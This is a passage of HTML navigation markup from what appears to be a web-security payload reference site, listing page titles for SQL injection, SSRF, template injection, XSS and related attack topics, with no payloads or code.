|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_46">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google BigQuery SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cassandra Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DB2 Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MSSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MySQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Oracle SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PostgreSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLite Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLmap
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
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</li>
|
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|
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|
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|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_47">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Include Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" checked>
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="true">
|
|
<label class="md-nav__title" for="__nav_48">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active">
|
|
|
|
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__link md-nav__link--active" for="__toc">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server-Side Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<a href="./" class="md-nav__link md-nav__link--active">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server-Side Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__title" for="__toc">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Table of contents
|
|
</label>
|
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#summary" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Summary
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#tools" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Tools
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#methodology" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Methodology
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypassing-filters" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypassing Filters
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Bypassing Filters">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#default-targets" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Default Targets
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-ipv6-notation" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Localhost with IPv6 Notation
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-a-domain-redirect" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Localhost with a Domain Redirect
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-cidr" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Localhost with CIDR
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-rare-address" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using Rare Address
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-an-encoded-ip-address" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using an Encoded IP Address
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-different-encoding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using Different Encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypassing-using-a-redirect" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypassing Using a Redirect
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-dns-rebinding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using DNS Rebinding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-abusing-url-parsing-discrepancy" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Abusing URL Parsing Discrepancy
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-php-filter_var-function" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass PHP filter_var() Function
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-jar-scheme" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using JAR Scheme
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#exploitation-via-url-scheme" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Exploitation via URL Scheme
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Exploitation via URL Scheme">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#file" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
File
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#http" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
HTTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#dict" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Dict
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#sftp" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
SFTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#tftp" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
TFTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#ldap" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LDAP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#netdoc" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Netdoc
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#gopher" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Gopher
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#blind-exploitation" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Blind Exploitation
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#upgrade-to-xss" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Upgrade to XSS
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#labs" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Labs
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="SSRF-Advanced-Exploitation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF Advanced Exploitation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="SSRF-Cloud-Instances/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF URL for Cloud Instances
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_49">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Template Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - ASP.NET
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Java
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - JavaScript
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - PHP
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Python
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Ruby
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_50">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Tabnabbing
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Tabnabbing/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Type Juggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Type%20Juggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_52">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Upload Insecure Files
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52_2" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_52_2" id="__nav_52_2_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration Apache .htaccess
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_52_2_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_52_2">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration Apache .htaccess
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.htaccess
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Cache Deception
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_54">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Sockets
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Web%20Sockets/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_55">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XPATH Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XPATH%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_56">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSLT Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSLT%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_57">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSS Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Scripting
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Filter Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Polyglot XSS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Common WAF Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSP Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
